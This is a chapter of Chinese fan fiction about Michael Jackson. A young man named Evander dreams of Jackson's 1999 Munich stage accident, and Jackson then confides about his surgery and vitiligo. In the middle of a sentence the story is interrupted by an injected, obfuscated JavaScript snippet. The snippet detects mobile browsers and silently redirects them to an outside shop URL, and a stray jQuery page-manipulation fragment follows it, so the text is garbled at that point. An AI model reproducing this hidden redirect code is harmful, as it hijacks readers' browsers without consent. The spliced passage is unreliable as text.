埃凡德知道,日有所思,夜有所梦。但他从未想到,自己会做一个和死亡一般可怕的、有关迈克尔的梦。
洛杉矶的夜晚非常安静,远离了一切人群的喧闹,能够将迈克尔和埃凡德护进一个脆弱而密闭的茧中,让他们对灵魂暂时得到安宁。
…………
“埃里克?埃里克?”
他猛地回过神来,看向急切呼唤着他的好友。
“怎么了,尤金?”他的声音轻飘飘的,仿佛还在梦里,“突然叫我。”
“你是不是昨晚飞.叶子飞大了?”尤金狐疑地看着他,“这可是迈克尔·杰克逊的演唱会会场!看看你周围的人!你怎么一点反应都没有了?”
“我只是,不敢相信……”他的声音更轻了,“我竟然真的要见到他了……”
他感到一阵头晕目眩——自己不会还在梦里吧?
“(德意志粗口),你别晕过去了!”尤金晃了晃他的肩膀,“你可以演唱会以后再晕!说不定这是你唯一一次挤进MJ演唱会内场的机会,坚持住,兄弟!”
他用力点点头,再次看了一眼手里的票根:
【Munich,Germany,Jun 27th,1999
(慕尼黑,德国,1999年6月27日)】
当看到迈克尔·杰克逊登上舞台的那一刻,所有人都沸腾了!
迈克尔正如所有MV里展示的那样帅气、美丽、魅力十足……黑色的卷发随风飘扬,血红的嘴唇映衬在灯光下雪白的皮肤上……
他感觉心脏跳得比人生之中任何时候都还要快,感觉到泪水不受控制地蒙住了双眼——他现在只能看到模糊的色块了!因为他高举着双手,如同朝圣者一般为了神的降临而疯狂!
《Don''t Stop ''Til You Get Enough 》《The Way You Make Me Feel》《Scream 》《 Beat It 》《Thriller 》《Black or White》《Billie Jean》……
一首首耳熟能详的曲目在他的耳边响起。只要音乐流入人群之中,歌迷们就会跟着旋律一起高唱——哪怕是音痴也没有关系,所有人在此刻都是兄弟姐妹,唱响的是众生的谐乐,故而也不存在什么不和谐音!
紧接着,便是迈克尔在1995年发行的《Earth Song》(地球之歌)。
随着歌曲之中的感情越来越激昂、愤慨,迈克尔站上了火花四射的铁桥。
“What about baby boys (What about it)
小孩子呢(而他们呢)
What about the days (What about us)
这个时代怎么办(而我们呢)
What about all their joy (What about us)……
他们所有的欢乐呢(而我们呢)……”
铁桥从最高处飞速坠落,重重地摔在地上,发出哪怕是音响也盖不住的轰鸣——就像是迈克尔的怒吼。
不,不,这一切都不对!
他感到自己从名为埃里克的躯壳中脱离出来了,他不断地上升、上升,直到火花四射的舞台的上空,直到肤色惨白的迈克尔身边……
他感到自己在高声尖叫,但是没有任何人听见,哪怕是距离他最近的迈克尔……
…………
“埃凡德!”
埃凡德猛地张大嘴巴,吸进一口气,像是濒临窒息的人拼命汲取空气。
“It''s OK,我在这儿呢,艾娃,”埃凡德这才注意到迈克尔跪在他身侧,满脸紧张,手里还紧紧捏着电话的听筒,“感谢上帝,你终于醒了。”
“迈克尔……”
埃凡德不确信自己是否还在梦里。他伸手去触碰迈克尔黑色的皮肤——是温热的。
“是的,我在这儿呢,你的迈克尔在这儿呢,”迈克尔握住埃凡德的手腕,将男孩的手掌紧紧贴在他的脸颊上,“发生什么了?我刚才怎么叫你你都没反应,要不要去医院看看?”
“不,”埃凡德摇摇头——他这时候反而冷静下来了,只是声音里还带着一种惊魂未定的虚弱,“我只是做了个噩梦……或者说是预知梦……你能躺下来听我说说吗,迈克尔?”
迈克尔脱下他刚刚穿上的、略显凌乱的夹克外套——他差点直接抱着男孩去医院了,911(急救电话)还没拨出去。
埃凡德枕在迈克尔的手臂上,一头扎进他的怀里,猛地深吸一口气——是熟悉的香水味,令人安心。
“我在梦里变成了你的一个粉丝,”埃凡德尽量让自己的描述不显得太过荒谬或者无厘头,“我……不,是‘埃里克’。他拿到了一张你的巡演的票,1999年6月27日,在德国慕尼黑。”
迈克尔没有说话,静静等埃凡德把他的噩梦吐出来。
“我看到了另一个你……他比你瘦了很多,脸上的骨头很突出,看起来很不健康。”
埃凡德摸了摸迈克尔的鼻子,这个动作让歌星下意识地瑟缩了一下,然后又强行忍住了。
“他的皮肤看起来是惨白的,”埃凡德一眨不眨地观察着迈克尔的反应——电影里说过,迈克尔患有白癜风,“嘴巴上涂了口红,红得像血。”
迈克尔的脸色一下子变得很差,嘴唇嗡动了两下,最终还是没有发出声音。
“我看到你在表演一首叫做《Earth Song》的曲目。”
为了让迈克尔确信自己说的都是真实的,埃凡德还随便唱了两句歌里的词。
“然后,我看到你在歌曲的高潮部分出了舞台事故……升降机出了问题,你直接从高空摔了下来,没有任何缓冲……”
埃凡德深深吸了一口气。
“我本来没意识到自己在做梦……我以为自己就是埃里克,一个德国的歌迷。但当我看到你坠落的时候,我感觉自己的……灵魂?从埃里克身体里飞了出来,飞向你的身边。”
“我在你身边大声叫你的名字,但你没有听见……哦,不对,是梦里的那个迈克尔,他没有听见。然后我就被你叫醒了。”
迈克尔知道,这个梦里的一切都会成真。他从来没有告诉过埃凡德自己整过容、也没有告诉埃凡德自己得了白癜风。
梦境是潜意识的体现,不可能出现做梦者认知之外的事情——所以,这是神给埃凡德的启示吗?
上帝要让这个孩子保护自己,使自己免于灾难吗?
“迈克尔?你还好吗?是不是我吓到你了?”
迈克尔立刻从恍惚之中回过神来,意识到自己又犯下了一个错误——他不应该保持沉默的。此刻,埃凡德的内心只会比他更加不安。
“是啊,我被你吓坏了,小预言家,”他在嘴角扯出一个笑容,“你不知道刚才我醒来却发现你浑身抽搐的那一分钟里经受了怎样的煎熬……我还以为我要失去你了。”
“对不起,但我问的不是这个,迈克尔。梦里的你……”
“我会牢牢记住的,我会小心的,”迈克尔抢断了埃凡德的话,“1999年6月27日,对吗?就在你的21岁生日后两天,我不会忘记的。我会仔细检查舞台的机关、设施的安全隐患……实在不行,就取消高空的环节……反正总会有解决办法,不是吗?”
“那你的脸呢,迈克尔?”埃凡德仍然一直盯着迈克尔的眼睛,“为什么你的鼻子会变成那样?为什么你的皮肤会那么惨白?”
“……”
迈克尔下意识想避开埃凡德的眼睛。
“迈克尔,别保持沉默,好吗?”埃凡德真诚地说,“我把我的一切秘密都告诉你了,你完全可以相信我——不管是什么事情。”
“……你知道整容吗?”
“是的,我知道。”
“在我遇见你的前一年,我意外摔断了鼻子,”迈克尔如今用一种轻描淡写的语气陈述着曾经的伤痛,“我不得不做整容手术——为了修复我的鼻子。如果你看见1999年我的鼻子很奇怪,那可能是修复手术出了问题。”
埃凡德又一次摸了摸迈克尔的鼻子,这一次,他的力气要更轻一些——像是羽毛轻轻拂过。
“我还患有白癜风。它是一种疾病,就像是感冒一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552669|204369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样……只不过它无法被完全治愈。它会让我皮肤上的黑色色素逐渐褪去,出现一些白色的斑点和色块……就像,就像……”
迈克尔说不下去了。
把伤口撕开给别人看让他感到非常痛苦、非常自卑。是啊,他是那么多人崇拜的迈克尔·杰克逊——他的身上怎么能有像奶牛一样不均匀的色块呢?
埃凡德没有说话,只是将迈克尔抱得更紧了一些。
他能感觉到迈克尔的呼吸变得急促而紊乱,像是在努力压抑着什么。这个在舞台上光芒万丈、被亿万人仰望的男人,此刻在他的怀里微微颤抖着,像一只受惊的鹿。
“迈克尔,”埃凡德的声音很轻,“你知道吗?在我眼里,你一直都是世界上最美丽的人。”
迈克尔没有说话,只是将脸埋进埃凡德的肩窝里。
“我不是在安慰你,我是认真的,”埃凡德的手指慢慢梳理着迈克尔微卷的头发,“第一次见到你的时候,我就觉得你像天使——不,比天使还要好看。你的眼睛里有星星,你的笑容能照亮整个房间……那些东西,跟你长什么样没有任何关系。”
“小骗子,你怎么会记得两岁的事情。”
迈克尔短暂地被埃凡德夸张的形容转移了注意。
可是……”迈克尔的声音闷闷的,带着一丝失落,又似乎是希冀,“如果你看到我身上的那些斑块……你会觉得恶心。”
“不会。”
“你还没见过——”
“你的皮肤是什么颜色,白色、黑色、黄色、花色……这又有什么关系呢?”埃凡德打断了他,语气平静得像在陈述一个再简单不过的事实,“我又不是因为你长得漂亮才爱你的。”
迈克尔的身体明显僵了一下。
“再说了,不管你是什么颜色,皮肤下的血液不都是红色的吗?死了之后,不论是你,还是我,我们的灵魂都将离开,身体都会逐渐腐烂,到最后只剩下骨头、然后变成灰烬,……”
埃凡德的声音更轻了,手指依然不紧不慢地梳理着迈克尔的头发。
“现在的你、未来的你,和世界上的每一个人又有什么区别呢?不都是一个普通的人类吗?”
“……”
迈克尔没有抬头,但埃凡德能感觉到男人的怀抱正在一点一点地松弛下来,像是冰块在春水里慢慢融化。
“……普通的人类?”迈克尔终于开口了,声音闷闷的,带着一点鼻音,“你刚才不是说我是天使吗?”
“天使也会感冒生病啊,”埃凡德理直气壮地说,“我允许你当一个会生病的天使。”
迈克尔发出一声短促的笑。
他终于在埃凡德的肩窝里蹭了蹭,抬起头来,眼眶还红着,但嘴角已经微微上扬了。
“你真是……”他摇了摇头,没有说下去。
“真是富有诚实的美德,”埃凡德替他说完了,眨眨眼睛,“即使你不完美,在我心里,你也是最好的。”
迈克尔看着埃凡德的眼睛。那双眼睛里没有怜悯、没有嫌弃、没有小心翼翼,只有一种坦荡的、理所当然的接纳。
他将埃凡德的脑袋重新闷进怀里,伸长了手把灯关上。
“我当然是最好的。”他小声嘀咕。
“这句话别当着普林斯的面说,他一定会和你来一场真男人的决斗。”
埃凡德被他闷在怀里,声音像从瓦罐里透出来的。
“为什么是普林斯?”
“我也不知道。”
“好吧,那我就只好告诉他这是你说的。”
“You''re so bad,Michael.”
“谢谢夸奖。”
———————————
本章注释:
1.普林斯和迈克尔可能不是死对头,但这二位的粉丝一定是一生之敌。
2.bad的本意是“坏”,但在黑人俚语里也有“真棒”的意思,迈克尔的第三张个人专辑就是以这个有着双重含义的词命名的。
3.文中描述的1999.6.27的事故是真的,出现意外后,他像是个没事人一样撑着表演完了。迈克尔在这场事故里留下了永远的后遗症。